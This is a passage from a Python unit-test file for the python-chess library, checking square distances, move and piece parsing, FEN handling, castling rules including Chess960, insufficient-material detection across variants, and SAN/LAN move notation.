self.assertLessEqual(c, 1) self.assertEqual(c, chess.popcount(shifted & chess.BB_ALL)) def test_parse_square(self): self.assertEqual(chess.parse_square("a1"), 0) with self.assertRaises(ValueError): self.assertEqual(chess.parse_square("A1")) with self.assertRaises(ValueError): self.assertEqual(chess.parse_square("a0")) def test_square_distance(self): self.assertEqual(chess.square_distance(chess.A1, chess.A1), 0) self.assertEqual(chess.square_distance(chess.A1, chess.H8), 7) self.assertEqual(chess.square_distance(chess.E1, chess.E8), 7) self.assertEqual(chess.square_distance(chess.A4, chess.H4), 7) self.assertEqual(chess.square_distance(chess.D4, chess.E5), 1) def test_square_manhattan_distance(self): self.assertEqual(chess.square_manhattan_distance(chess.A1, chess.A1), 0) self.assertEqual(chess.square_manhattan_distance(chess.A1, chess.H8), 14) self.assertEqual(chess.square_manhattan_distance(chess.E1, chess.E8), 7) self.assertEqual(chess.square_manhattan_distance(chess.A4, chess.H4), 7) self.assertEqual(chess.square_manhattan_distance(chess.D4, chess.E5), 2) def test_square_knight_distance(self): self.assertEqual(chess.square_knight_distance(chess.A1, chess.A1), 0) self.assertEqual(chess.square_knight_distance(chess.A1, chess.H8), 6) self.assertEqual(chess.square_knight_distance(chess.G1, chess.F3), 1) self.assertEqual(chess.square_knight_distance(chess.E1, chess.E8), 5) self.assertEqual(chess.square_knight_distance(chess.A4, chess.H4), 5) self.assertEqual(chess.square_knight_distance(chess.A1, chess.B1), 3) self.assertEqual(chess.square_knight_distance(chess.A1, chess.C3), 4) self.assertEqual(chess.square_knight_distance(chess.A1, chess.B2), 4) self.assertEqual(chess.square_knight_distance(chess.C1, chess.B2), 2) class MoveTestCase(unittest.TestCase): def test_equality(self): a = chess.Move(chess.A1, chess.A2) b = chess.Move(chess.A1, chess.A2) c = chess.Move(chess.H7, chess.H8, chess.BISHOP) d1 = chess.Move(chess.H7, chess.H8) d2 = chess.Move(chess.H7, chess.H8) self.assertEqual(a, b) self.assertEqual(b, a) self.assertEqual(d1, d2) self.assertNotEqual(a, c) self.assertNotEqual(c, d1) self.assertNotEqual(b, d1) self.assertFalse(d1 != d2) def test_uci_parsing(self): self.assertEqual(chess.Move.from_uci("b5c7").uci(), "b5c7") self.assertEqual(chess.Move.from_uci("e7e8q").uci(), "e7e8q") self.assertEqual(chess.Move.from_uci("P@e4").uci(), "P@e4") self.assertEqual(chess.Move.from_uci("B@f4").uci(), "B@f4") self.assertEqual(chess.Move.from_uci("0000").uci(), "0000") def test_invalid_uci(self): with self.assertRaises(chess.InvalidMoveError): chess.Move.from_uci("") with self.assertRaises(chess.InvalidMoveError): chess.Move.from_uci("N") with self.assertRaises(chess.InvalidMoveError): chess.Move.from_uci("z1g3") with self.assertRaises(chess.InvalidMoveError): chess.Move.from_uci("Q@g9") def test_xboard_move(self): self.assertEqual(chess.Move.from_uci("b5c7").xboard(), "b5c7") self.assertEqual(chess.Move.from_uci("e7e8q").xboard(), "e7e8q") self.assertEqual(chess.Move.from_uci("P@e4").xboard(), "P@e4") self.assertEqual(chess.Move.from_uci("B@f4").xboard(), "B@f4") self.assertEqual(chess.Move.from_uci("0000").xboard(), "@@@@") def test_copy(self): a = chess.Move.from_uci("N@f3") b = chess.Move.from_uci("a1h8") c = chess.Move.from_uci("g7g8r") self.assertEqual(copy.copy(a), a) self.assertEqual(copy.copy(b), b) self.assertEqual(copy.copy(c), c) class PieceTestCase(unittest.TestCase): def test_equality(self): a = chess.Piece(chess.BISHOP, chess.WHITE) b = chess.Piece(chess.KING, chess.BLACK) c = chess.Piece(chess.KING, chess.WHITE) d1 = chess.Piece(chess.BISHOP, chess.WHITE) d2 = chess.Piece(chess.BISHOP, chess.WHITE) self.assertEqual(len(set([a, b, c, d1, d2])), 3) self.assertEqual(a, d1) self.assertEqual(d1, a) self.assertEqual(d1, d2) self.assertEqual(repr(a), repr(d1)) self.assertNotEqual(a, b) self.assertNotEqual(b, c) self.assertNotEqual(b, d1) self.assertNotEqual(a, c) self.assertFalse(d1 != d2) self.assertNotEqual(repr(a), repr(b)) self.assertNotEqual(repr(b), repr(c)) self.assertNotEqual(repr(b), repr(d1)) self.assertNotEqual(repr(a), repr(c)) def test_from_symbol(self): white_knight = chess.Piece.from_symbol("N") self.assertEqual(white_knight.color, chess.WHITE) self.assertEqual(white_knight.piece_type, chess.KNIGHT) self.assertEqual(white_knight.symbol(), "N") self.assertEqual(str(white_knight), "N") black_queen = chess.Piece.from_symbol("q") self.assertEqual(black_queen.color, chess.BLACK) self.assertEqual(black_queen.piece_type, chess.QUEEN) self.assertEqual(black_queen.symbol(), "q") self.assertEqual(str(black_queen), "q") def test_hash(self): pieces = {chess.Piece.from_symbol(symbol) for symbol in "pnbrqkPNBRQK"} self.assertEqual(len(pieces), 12) hashes = {hash(piece) for piece in pieces} self.assertEqual(hashes, set(range(12))) class BoardTestCase(unittest.TestCase): def test_default_position(self): board = chess.Board() self.assertEqual(board.piece_at(chess.B1), chess.Piece.from_symbol("N")) self.assertEqual(board.fen(), chess.STARTING_FEN) self.assertEqual(board.turn, chess.WHITE) def test_empty(self): board = chess.Board.empty() self.assertEqual(board.fen(), "8/8/8/8/8/8/8/8 w - - 0 1") self.assertEqual(board, chess.Board(None)) def test_ply(self): board = chess.Board() self.assertEqual(board.ply(), 0) board.push_san("d4") self.assertEqual(board.ply(), 1) board.push_san("d5") self.assertEqual(board.ply(), 2) board.clear_stack() self.assertEqual(board.ply(), 2) board.push_san("Nf3") self.assertEqual(board.ply(), 3) def test_from_epd(self): base_epd = "rnbqkb1r/ppp1pppp/5n2/3P4/8/8/PPPP1PPP/RNBQKBNR w KQkq -" board, ops = chess.Board.from_epd(base_epd + " ce 55;") self.assertEqual(ops["ce"], 55) self.assertEqual(board.fen(), base_epd + " 0 1") def test_move_making(self): board = chess.Board() move = chess.Move(chess.E2, chess.E4) board.push(move) self.assertEqual(board.peek(), move) def test_fen(self): board = chess.Board() self.assertEqual(board.fen(), chess.STARTING_FEN) fen = "6k1/pb3pp1/1p2p2p/1Bn1P3/8/5N2/PP1q1PPP/6K1 w - - 0 24" board.set_fen(fen) self.assertEqual(board.fen(), fen) board.push(chess.Move.from_uci("f3d2")) self.assertEqual(board.fen(), "6k1/pb3pp1/1p2p2p/1Bn1P3/8/8/PP1N1PPP/6K1 b - - 0 24") def test_xfen(self): # https://de.wikipedia.org/wiki/Forsyth-Edwards-Notation#Beispiel xfen = "rn2k1r1/ppp1pp1p/3p2p1/5bn1/P7/2N2B2/1PPPPP2/2BNK1RR w Gkq - 4 11" board = chess.Board(xfen, chess960=True) self.assertEqual(board.castling_rights, chess.BB_G1 | chess.BB_A8 | chess.BB_G8) self.assertEqual(board.clean_castling_rights(), chess.BB_G1 | chess.BB_A8 | chess.BB_G8) self.assertEqual(board.shredder_fen(), "rn2k1r1/ppp1pp1p/3p2p1/5bn1/P7/2N2B2/1PPPPP2/2BNK1RR w Gga - 4 11") self.assertEqual(board.fen(), xfen) self.assertTrue(board.has_castling_rights(chess.WHITE)) self.assertTrue(board.has_castling_rights(chess.BLACK)) self.assertTrue(board.has_kingside_castling_rights(chess.BLACK)) self.assertTrue(board.has_kingside_castling_rights(chess.WHITE)) self.assertTrue(board.has_queenside_castling_rights(chess.BLACK)) self.assertFalse(board.has_queenside_castling_rights(chess.WHITE)) # Chess960 position #284. board = chess.Board("rkbqrbnn/pppppppp/8/8/8/8/PPPPPPPP/RKBQRBNN w - - 0 1", chess960=True) board.castling_rights = board.rooks self.assertTrue(board.clean_castling_rights() & chess.BB_A1) self.assertEqual(board.fen(), "rkbqrbnn/pppppppp/8/8/8/8/PPPPPPPP/RKBQRBNN w KQkq - 0 1") self.assertEqual(board.shredder_fen(), "rkbqrbnn/pppppppp/8/8/8/8/PPPPPPPP/RKBQRBNN w EAea - 0 1") # Valid en passant square on illegal board. fen = "8/8/8/pP6/8/8/8/8 w - a6 0 1" board = chess.Board(fen) self.assertEqual(board.fen(), fen) # Illegal en passant square on illegal board. fen = "1r6/8/8/pP6/8/8/8/1K6 w - a6 0 1" board = chess.Board(fen) self.assertEqual(board.fen(), "1r6/8/8/pP6/8/8/8/1K6 w - - 0 1") def test_fen_en_passant(self): board = chess.Board() board.push_san("e4") self.assertEqual(board.fen(en_passant="fen"), "rnbqkbnr/pppppppp/8/8/4P3/8/PPPP1PPP/RNBQKBNR b KQkq e3 0 1") self.assertEqual(board.fen(en_passant="xfen"), "rnbqkbnr/pppppppp/8/8/4P3/8/PPPP1PPP/RNBQKBNR b KQkq - 0 1") def test_get_set(self): board = chess.Board() self.assertEqual(board.piece_at(chess.B1), chess.Piece.from_symbol("N")) board.remove_piece_at(chess.E2) self.assertEqual(board.piece_at(chess.E2), None) board.set_piece_at(chess.E4, chess.Piece.from_symbol("r")) self.assertEqual(board.piece_type_at(chess.E4), chess.ROOK) board.set_piece_at(chess.F1, None) self.assertEqual(board.piece_at(chess.F1), None) board.set_piece_at(chess.H7, chess.Piece.from_symbol("Q"), promoted=True) self.assertEqual(board.promoted, chess.BB_H7) board.set_piece_at(chess.H7, None) self.assertEqual(board.promoted, chess.BB_EMPTY) self.assertEqual(board.piece_at(chess.H7), None) def test_color_at(self): board = chess.Board() self.assertEqual(board.color_at(chess.A1), chess.WHITE) self.assertEqual(board.color_at(chess.G7), chess.BLACK) self.assertEqual(board.color_at(chess.E4), None) def test_pawn_captures(self): board = chess.Board() # King's Gambit. board.push(chess.Move.from_uci("e2e4")) board.push(chess.Move.from_uci("e7e5")) board.push(chess.Move.from_uci("f2f4")) # Accepted. exf4 = chess.Move.from_uci("e5f4") self.assertIn(exf4, board.pseudo_legal_moves) self.assertIn(exf4, board.legal_moves) board.push(exf4) board.pop() def test_pawn_move_generation(self): board = chess.Board("8/2R1P3/8/2pp4/2k1r3/P7/8/1K6 w - - 1 55") self.assertEqual(len(list(board.generate_pseudo_legal_moves())), 16) def test_single_step_pawn_move(self): board = chess.Board() a3 = chess.Move.from_uci("a2a3") self.assertIn(a3, board.pseudo_legal_moves) self.assertIn(a3, board.legal_moves) board.push(a3) board.pop() self.assertEqual(board.fen(), chess.STARTING_FEN) def test_castling(self): board = chess.Board("r3k2r/8/8/8/8/8/8/R3K2R w KQkq - 1 1") # Let white castle short. move = board.parse_xboard("O-O") self.assertEqual(move, chess.Move.from_uci("e1g1")) self.assertEqual(board.san(move), "O-O") self.assertEqual(board.xboard(move), "e1g1") self.assertIn(move, board.legal_moves) board.push(move) # Let black castle long. move = board.parse_xboard("O-O-O") self.assertEqual(board.san(move), "O-O-O") self.assertEqual(board.xboard(move), "e8c8") self.assertIn(move, board.legal_moves) board.push(move) self.assertEqual(board.fen(), "2kr3r/8/8/8/8/8/8/R4RK1 w - - 3 2") # Undo both castling moves. board.pop() board.pop() self.assertEqual(board.fen(), "r3k2r/8/8/8/8/8/8/R3K2R w KQkq - 1 1") # Let white castle long. move = board.parse_san("O-O-O") self.assertEqual(board.san(move), "O-O-O") self.assertIn(move, board.legal_moves) board.push(move) # Let black castle short. move = board.parse_san("O-O") self.assertEqual(board.san(move), "O-O") self.assertIn(move, board.legal_moves) board.push(move) self.assertEqual(board.fen(), "r4rk1/8/8/8/8/8/8/2KR3R w - - 3 2") # Undo both castling moves. board.pop() board.pop() self.assertEqual(board.fen(), "r3k2r/8/8/8/8/8/8/R3K2R w KQkq - 1 1") def test_castling_san(self): board = chess.Board("4k3/8/8/8/8/8/8/4K2R w K - 0 1") self.assertEqual(board.parse_san("O-O"), chess.Move.from_uci("e1g1")) with self.assertRaises(chess.IllegalMoveError): board.parse_san("Kg1") with self.assertRaises(chess.IllegalMoveError): board.parse_san("Kh1") def test_ninesixty_castling(self): fen = "3r1k1r/4pp2/8/8/8/8/8/4RKR1 w Gd - 1 1" board = chess.Board(fen, chess960=True) # Let white do the kingside swap. move = board.parse_san("O-O") self.assertEqual(board.san(move), "O-O") self.assertEqual(board.xboard(move), "O-O") self.assertEqual(move.from_square, chess.F1) self.assertEqual(move.to_square, chess.G1) self.assertIn(move, board.legal_moves) board.push(move) self.assertEqual(board.shredder_fen(), "3r1k1r/4pp2/8/8/8/8/8/4RRK1 b d - 2 1") # Black can not castle kingside. self.assertNotIn(chess.Move.from_uci("e8h8"), board.legal_moves) # Let black castle queenside. move = board.parse_san("O-O-O") self.assertEqual(board.san(move), "O-O-O") self.assertEqual(board.xboard(move), "O-O-O") self.assertEqual(move.from_square, chess.F8) self.assertEqual(move.to_square, chess.D8) self.assertIn(move, board.legal_moves) board.push(move) self.assertEqual(board.shredder_fen(), "2kr3r/4pp2/8/8/8/8/8/4RRK1 w - - 3 2") # Restore initial position. board.pop() board.pop() self.assertEqual(board.shredder_fen(), fen) fen = "Qr4k1/4pppp/8/8/8/8/8/R5KR w Hb - 0 1" board = chess.Board(fen, chess960=True) # White can just hop the rook over. move = board.parse_san("O-O") self.assertEqual(board.san(move), "O-O") self.assertEqual(move.from_square, chess.G1) self.assertEqual(move.to_square, chess.H1) self.assertIn(move, board.legal_moves) board.push(move) self.assertEqual(board.shredder_fen(), "Qr4k1/4pppp/8/8/8/8/8/R4RK1 b b - 1 1") # Black can not castle queenside nor kingside. self.assertFalse(any(board.generate_castling_moves())) # Restore initial position. board.pop() self.assertEqual(board.shredder_fen(), fen) def test_hside_rook_blocks_aside_castling(self): board = chess.Board("4rrk1/pbbp2p1/1ppnp3/3n1pqp/3N1PQP/1PPNP3/PBBP2P1/4RRK1 w Ff - 10 18", chess960=True) self.assertNotIn(chess.Move.from_uci("g1f1"), board.legal_moves) self.assertNotIn(chess.Move.from_uci("g1e1"), board.legal_moves) self.assertNotIn(chess.Move.from_uci("g1c1"), board.legal_moves) self.assertNotIn(chess.Move.from_uci("g1a1"), board.legal_moves) self.assertIn(chess.Move.from_uci("g1h1"), board.legal_moves) # Kh1 def test_selective_castling(self): board = chess.Board("r3k2r/pppppppp/8/8/8/8/PPPPPPPP/R3K2R w KQkq - 0 1") # King not selected. self.assertFalse(any(board.generate_castling_moves(chess.BB_ALL & ~board.kings))) # Rook on h1 not selected. moves = board.generate_castling_moves(chess.BB_ALL, chess.BB_ALL & ~chess.BB_H1) self.assertEqual(len(list(moves)), 1) def test_castling_right_not_destroyed_bug(self): # A rook move from h8 to h1 was only taking white's possible castling # rights away. board = chess.Board("2r1k2r/2qbbpp1/p2pp3/1p3PP1/Pn2P3/1PN1B3/1P3QB1/1K1R3R b k - 0 22") board.push_san("Rxh1") self.assertEqual(board.epd(), "2r1k3/2qbbpp1/p2pp3/1p3PP1/Pn2P3/1PN1B3/1P3QB1/1K1R3r w - -") def test_invalid_castling_rights(self): # KQkq is not valid in this standard chess position. board = chess.Board("1r2k3/8/8/8/8/8/8/R3KR2 w KQkq - 0 1") self.assertEqual(board.status(), chess.STATUS_BAD_CASTLING_RIGHTS) self.assertEqual(board.fen(), "1r2k3/8/8/8/8/8/8/R3KR2 w Q - 0 1") self.assertTrue(board.has_queenside_castling_rights(chess.WHITE)) self.assertFalse(board.has_kingside_castling_rights(chess.WHITE)) self.assertFalse(board.has_queenside_castling_rights(chess.BLACK)) self.assertFalse(board.has_kingside_castling_rights(chess.BLACK)) board = chess.Board("4k2r/8/8/8/8/8/8/R1K5 w KQkq - 0 1", chess960=True) self.assertEqual(board.status(), chess.STATUS_BAD_CASTLING_RIGHTS) self.assertEqual(board.fen(), "4k2r/8/8/8/8/8/8/R1K5 w Qk - 0 1") board = chess.Board("1r2k3/8/1p6/8/8/5P2/8/1R2KR2 w KQkq - 0 1", chess960=True) self.assertEqual(board.status(), chess.STATUS_BAD_CASTLING_RIGHTS) self.assertEqual(board.fen(), "1r2k3/8/1p6/8/8/5P2/8/1R2KR2 w KQq - 0 1") def test_ninesixty_different_king_and_rook_file(self): # Theoretically, this position (with castling rights) can not be reached # with a series of legal moves from one of the 960 starting positions. # Decision: We don't care, neither do Stockfish or lichess.org. fen = "1r1k1r2/5p2/8/8/8/8/3N4/R5KR b KQkq - 0 1" board = chess.Board(fen, chess960=True) self.assertEqual(board.fen(), fen) def test_ninesixty_prevented_castle(self): board = chess.Board("4k3/8/8/1b6/8/8/8/5RKR w KQ - 0 1", chess960=True) self.assertFalse(board.is_legal(chess.Move.from_uci("g1f1"))) def test_find_move(self): board = chess.Board("4k3/1P6/8/8/8/8/3P4/4K2R w K - 0 1") # Pawn moves. self.assertEqual(board.find_move(chess.D2, chess.D4), chess.Move.from_uci("d2d4")) self.assertEqual(board.find_move(chess.B7, chess.B8), chess.Move.from_uci("b7b8q")) self.assertEqual(board.find_move(chess.B7, chess.B8, chess.KNIGHT), chess.Move.from_uci("b7b8n")) # Illegal moves. with self.assertRaises(chess.IllegalMoveError): board.find_move(chess.D2, chess.D8) with self.assertRaises(chess.IllegalMoveError): board.find_move(chess.E1, chess.A1) # Castling. self.assertEqual(board.find_move(chess.E1, chess.G1), chess.Move.from_uci("e1g1")) self.assertEqual(board.find_move(chess.E1, chess.H1), chess.Move.from_uci("e1g1")) board.chess960 = True self.assertEqual(board.find_move(chess.E1, chess.H1), chess.Move.from_uci("e1h1")) def test_clean_castling_rights(self): board = chess.Board() board.set_board_fen("k6K/8/8/pppppppp/8/8/8/QqQq4") self.assertEqual(board.clean_castling_rights(), chess.BB_EMPTY) self.assertEqual(board.fen(), "k6K/8/8/pppppppp/8/8/8/QqQq4 w - - 0 1") board.push_san("Qxc5") self.assertEqual(board.clean_castling_rights(), chess.BB_EMPTY) self.assertEqual(board.fen(), "k6K/8/8/ppQppppp/8/8/8/Qq1q4 b - - 0 1") def test_insufficient_material(self): def _check(board, white, black): self.assertEqual(board.has_insufficient_material(chess.WHITE), white) self.assertEqual(board.has_insufficient_material(chess.BLACK), black) self.assertEqual(board.is_insufficient_material(), white and black) # Imperfect implementation. false_negative = False _check(chess.Board(), False, False) _check(chess.Board("k1K1B1B1/8/8/8/8/8/8/8 w - - 7 32"), True, True) _check(chess.Board("kbK1B1B1/8/8/8/8/8/8/8 w - - 7 32"), False, False) _check(chess.Board("8/5k2/8/8/8/8/3K4/8 w - - 0 1"), True, True) _check(chess.Board("8/3k4/8/8/2N5/8/3K4/8 b - - 0 1"), True, True) _check(chess.Board("8/4rk2/8/8/8/8/3K4/8 w - - 0 1"), True, False) _check(chess.Board("8/4qk2/8/8/8/8/3K4/8 w - - 0 1"), True, False) _check(chess.Board("8/4bk2/8/8/8/8/3KB3/8 w - - 0 1"), False, False) _check(chess.Board("8/8/3Q4/2bK4/B7/8/1k6/8 w - - 1 68"), False, False) _check(chess.Board("8/5k2/8/8/8/4B3/3K1B2/8 w - - 0 1"), True, True) _check(chess.Board("5K2/8/8/1B6/8/k7/6b1/8 w - - 0 39"), True, True) _check(chess.Board("8/8/8/4k3/5b2/3K4/8/2B5 w - - 0 33"), True, True) _check(chess.Board("3b4/8/8/6b1/8/8/R7/K1k5 w - - 0 1"), False, True) _check(chess.variant.AtomicBoard("8/3k4/8/8/2N5/8/3K4/8 b - - 0 1"), True, True) _check(chess.variant.AtomicBoard("8/4rk2/8/8/8/8/3K4/8 w - - 0 1"), True, True) _check(chess.variant.AtomicBoard("8/4qk2/8/8/8/8/3K4/8 w - - 0 1"), True, False) _check(chess.variant.AtomicBoard("8/1k6/8/2n5/8/3NK3/8/8 b - - 0 1"), False, False) _check(chess.variant.AtomicBoard("8/4bk2/8/8/8/8/3KB3/8 w - - 0 1"), True, True) _check(chess.variant.AtomicBoard("4b3/5k2/8/8/8/8/3KB3/8 w - - 0 1"), False, False) _check(chess.variant.AtomicBoard("3Q4/5kKB/8/8/8/8/8/8 b - - 0 1"), False, True) _check(chess.variant.AtomicBoard("8/5k2/8/8/8/8/5K2/4bb2 w - - 0 1"), True, False) _check(chess.variant.AtomicBoard("8/5k2/8/8/8/8/5K2/4nb2 w - - 0 1"), True, False) _check(chess.variant.GiveawayBoard("8/4bk2/8/8/8/8/3KB3/8 w - - 0 1"), False, False) _check(chess.variant.GiveawayBoard("4b3/5k2/8/8/8/8/3KB3/8 w - - 0 1"), False, False) _check(chess.variant.GiveawayBoard("8/8/8/6b1/8/3B4/4B3/5B2 w - - 0 1"), True, True) _check(chess.variant.GiveawayBoard("8/8/5b2/8/8/3B4/3B4/8 w - - 0 1"), True, False) _check(chess.variant.SuicideBoard("8/5p2/5P2/8/3B4/1bB5/8/8 b - - 0 1"), false_negative, false_negative) _check(chess.variant.AntichessBoard("8/8/8/1n2N3/8/8/8/8 w - - 0 32"), True, False) _check(chess.variant.AntichessBoard("8/3N4/8/1n6/8/8/8/8 b - - 1 32"), True, False) _check(chess.variant.AntichessBoard("6n1/8/8/4N3/8/8/8/8 b - - 0 27"), False, True) _check(chess.variant.AntichessBoard("8/8/5n2/4N3/8/8/8/8 w - - 1 28"), False, True) _check(chess.variant.AntichessBoard("8/3n4/8/8/8/8/8/8 w - - 0 29"), False, True) _check(chess.variant.KingOfTheHillBoard("8/5k2/8/8/8/8/3K4/8 w - - 0 1"), False, False) _check(chess.variant.RacingKingsBoard("8/5k2/8/8/8/8/3K4/8 w - - 0 1"), False, False) _check(chess.variant.ThreeCheckBoard("8/5k2/8/8/8/8/3K4/8 w - - 3+3 0 1"), True, True) _check(chess.variant.ThreeCheckBoard("8/5k2/8/8/8/8/3K2N1/8 w - - 3+3 0 1"), False, True) _check(chess.variant.CrazyhouseBoard("8/5k2/8/8/8/8/3K2N1/8[] w - - 0 1"), True, True) _check(chess.variant.CrazyhouseBoard("8/5k2/8/8/8/5B2/3KB3/8[] w - - 0 1"), False, False) _check(chess.variant.CrazyhouseBoard("8/8/8/8/3k4/3N~4/3K4/8 w - - 0 1"), False, False) _check(chess.variant.HordeBoard("8/5k2/8/8/8/4NN2/8/8 w - - 0 1"), True, False) _check(chess.variant.HordeBoard("8/1b5r/1P6/1Pk3q1/1PP5/r1P5/P1P5/2P5 b - - 0 52"), False, False) def test_promotion_with_check(self): board = chess.Board("8/6P1/2p5/1Pqk4/6P1/2P1RKP1/4P1P1/8 w - - 0 1") board.push(chess.Move.from_uci("g7g8q")) self.assertTrue(board.is_check()) self.assertEqual(board.fen(), "6Q1/8/2p5/1Pqk4/6P1/2P1RKP1/4P1P1/8 b - - 0 1") board = chess.Board("8/8/8/3R1P2/8/2k2K2/3p4/r7 b - - 0 82") board.push_san("d1=Q+") self.assertEqual(board.fen(), "8/8/8/3R1P2/8/2k2K2/8/r2q4 w - - 0 83") def test_ambiguous_move(self): board = chess.Board("8/8/1n6/3R1P2/1n6/2k2K2/3p4/r6r b - - 0 82") with self.assertRaises(chess.AmbiguousMoveError): board.parse_san("Rf1") with self.assertRaises(chess.AmbiguousMoveError): board.parse_san("Nd5") def test_scholars_mate(self): board = chess.Board() e4 = chess.Move.from_uci("e2e4") self.assertIn(e4, board.legal_moves) board.push(e4) e5 = chess.Move.from_uci("e7e5") self.assertIn(e5, board.legal_moves) board.push(e5) Qf3 = chess.Move.from_uci("d1f3") self.assertIn(Qf3, board.legal_moves) board.push(Qf3) Nc6 = chess.Move.from_uci("b8c6") self.assertIn(Nc6, board.legal_moves) board.push(Nc6) Bc4 = chess.Move.from_uci("f1c4") self.assertIn(Bc4, board.legal_moves) board.push(Bc4) Rb8 = chess.Move.from_uci("a8b8") self.assertIn(Rb8, board.legal_moves) board.push(Rb8) self.assertFalse(board.is_check()) self.assertFalse(board.is_checkmate()) self.assertFalse(board.is_game_over()) self.assertFalse(board.is_stalemate()) Qf7_mate = chess.Move.from_uci("f3f7") self.assertIn(Qf7_mate, board.legal_moves) board.push(Qf7_mate) self.assertTrue(board.is_check()) self.assertTrue(board.is_checkmate()) self.assertTrue(board.is_game_over()) self.assertTrue(board.is_game_over(claim_draw=True)) self.assertFalse(board.is_stalemate()) self.assertEqual(board.fen(), "1rbqkbnr/pppp1Qpp/2n5/4p3/2B1P3/8/PPPP1PPP/RNB1K1NR b KQk - 0 4") def test_result(self): # Undetermined. board = chess.Board() self.assertEqual(board.result(claim_draw=True), "*") # White checkmated. board = chess.Board("rnb1kbnr/pppp1ppp/8/4p3/6Pq/5P2/PPPPP2P/RNBQKBNR w KQkq - 1 3") self.assertEqual(board.result(claim_draw=True), "0-1") # Stalemate. board = chess.Board("7K/7P/7k/8/6q1/8/8/8 w - - 0 1") self.assertEqual(board.result(), "1/2-1/2") # Insufficient material. board = chess.Board("4k3/8/8/8/8/5B2/8/4K3 w - - 0 1") self.assertEqual(board.result(), "1/2-1/2") # Fiftyseven-move rule. board = chess.Board("4k3/8/6r1/8/8/8/2R5/4K3 w - - 369 1") self.assertEqual(board.result(), "1/2-1/2") # Fifty-move rule. board = chess.Board("4k3/8/6r1/8/8/8/2R5/4K3 w - - 120 1") self.assertEqual(board.result(), "*") self.assertEqual(board.result(claim_draw=True), "1/2-1/2") def test_san(self): # Castling with check. fen = "rnbk1b1r/ppp2pp1/5n1p/4p1B1/2P5/2N5/PP2PPPP/R3KBNR w KQ - 0 7" board = chess.Board(fen) long_castle_check = chess.Move.from_uci("e1a1") self.assertEqual(board.san(long_castle_check), "O-O-O+") self.assertEqual(board.fen(), fen) # En passant mate. fen = "6bk/7b/8/3pP3/8/8/8/Q3K3 w - d6 0 2" board = chess.Board(fen) fxe6_mate_ep = chess.Move.from_uci("e5d6") self.assertEqual(board.san(fxe6_mate_ep), "exd6#") self.assertEqual(board.fen(), fen) # Test disambiguation. fen = "N3k2N/8/8/3N4/N4N1N/2R5/1R6/4K3 w - - 0 1" board = chess.Board(fen) self.assertEqual(board.san(chess.Move.from_uci("e1f1")), "Kf1") self.assertEqual(board.san(chess.Move.from_uci("c3c2")), "Rcc2") self.assertEqual(board.san(chess.Move.from_uci("b2c2")), "Rbc2") self.assertEqual(board.san(chess.Move.from_uci("a4b6")), "N4b6") self.assertEqual(board.san(chess.Move.from_uci("h8g6")), "N8g6") self.assertEqual(board.san(chess.Move.from_uci("h4g6")), "Nh4g6") self.assertEqual(board.fen(), fen) # Test a bug where shakmaty used overly specific disambiguation. fen = "8/2KN1p2/5p2/3N1B1k/5PNp/7P/7P/8 w - -" board = chess.Board(fen) self.assertEqual(board.san(chess.Move.from_uci("d5f6")), "N5xf6#") # Do not disambiguate illegal alternatives. fen = "8/8/8/R2nkn2/8/8/2K5/8 b - - 0 1" board = chess.Board(fen) self.assertEqual(board.san(chess.Move.from_uci("f5e3")), "Ne3+") self.assertEqual(board.fen(), fen) # Promotion. fen = "7k/1p2Npbp/8/2P5/1P1r4/3b2QP/3q1pPK/2RB4 b - - 1 29" board = chess.Board(fen) self.assertEqual(board.san(chess.Move.from_uci("f2f1q")), "f1=Q") self.assertEqual(board.san(chess.Move.from_uci("f2f1n")), "f1=N+") self.assertEqual(board.fen(), fen) def test_lan(self): # Normal moves always with origin square. fen = "N3k2N/8/8/3N4/N4N1N/2R5/1R6/4K3 w - - 0 1" board = chess.Board(fen) self.assertEqual(board.lan(chess.Move.from_uci("e1f1")), "Ke1-f1") self.assertEqual(board.lan(chess.Move.from_uci("c3c2")), "Rc3-c2") self.assertEqual(board.lan(chess.Move.from_uci("a4c5")), "Na4-c5") self.assertEqual(board.fen(), fen) # Normal capture. fen = "rnbq1rk1/ppp1bpp1/4pn1p/3p2B1/2PP4/2N1PN2/PP3PPP/R2QKB1R w KQ - 0 7" board = chess.Board(fen) self.assertEqual(board.lan(chess.Move.from_uci("g5f6")), "Bg5xf6") self.assertEqual(board.fen(), fen) # Pawn captures and moves. fen = "6bk/7b/8/3pP3/8/8/8/Q3K3 w - d6 0 2" board = chess.Board(fen) self.assertEqual(board.lan(chess.Move.from_uci("e5d6")), "e5xd6#") self.assertEqual(board.lan(chess.Move.from_uci("e5e6")), "e5-e6+") self.assertEqual(board.fen(), fen) def test_san_newline(self): board = chess.Board("rnbqk2r/ppppppbp/5np1/8/8/5NP1/PPPPPPBP/RNBQK2R w KQkq - 2 4") with self.assertRaises(chess.InvalidMoveError): board.parse_san("O-O\n") with self.assertRaises(chess.InvalidMoveError): board.parse_san("Nc3\n") def test_pawn_capture_san_without_file(self): board = chess.Board("2rq1rk1/pb2bppp/1p2p3/n1ppPn2/2PP4/PP3N2/1B1NQPPP/RB3RK1 b - - 4 13") with self.assertRaises(chess.IllegalMoveError): board.parse_san("c4") board = chess.Board("4k3/8/8/4Pp2/8/8/8/4K3 w - f6 0 2") with self.assertRaises(chess.IllegalMoveError): board.parse_san("f6") def test_variation_san(self): board = chess.Board() self.assertEqual('1. e4 e5 2. Nf3', board.variation_san([chess.Move.from_uci(m) for m in ['e2e4', 'e7e5', 'g1f3']])) self.assertEqual('1. e4 e5 2. Nf3 Nc6 3. Bb5 a6', board.variation_san([chess.Move.from_uci(m) for m in ['e2e4', 'e7e5', 'g1f3', 'b8c6', 'f1b5', 'a7a6']])) fen = "rn1qr1k1/1p2bppp/p3p3/3pP3/P2P1B2/2RB1Q1P/1P3PP1/R5K1 w - - 0 19" board = chess.Board(fen) variation = ['d3h7', 'g8h7', 'f3h5', 'h7g8', 'c3g3', 'e7f8', 'f4g5', 'e8e7', 'g5f6', 'b8d7', 'h5h6', 'd7f6', 'e5f6', 'g7g6', 'f6e7', 'f8e7'] var_w = board.variation_san([chess.Move.from_uci(m) for m in variation]) self.assertEqual(("19. Bxh7+ Kxh7 20. Qh5+ Kg8 21. Rg3 Bf8 22. Bg5 Re7 " "23. Bf6 Nd7 24. Qh6 Nxf6 25. exf6 g6 26. fxe7 Bxe7"), var_w) self.assertEqual(fen, board.fen(), msg="Board unchanged by variation_san") board.push(chess.Move.from_uci(variation.pop(0))) var_b = board.variation_san([chess.Move.from_uci(m) for m in variation]) self.assertEqual(("19...Kxh7 20. Qh5+ Kg8 21. Rg3 Bf8 22. Bg5 Re7 " "23. Bf6 Nd7 24. Qh6 Nxf6 25. exf6 g6 26. fxe7 Bxe7"), var_b) 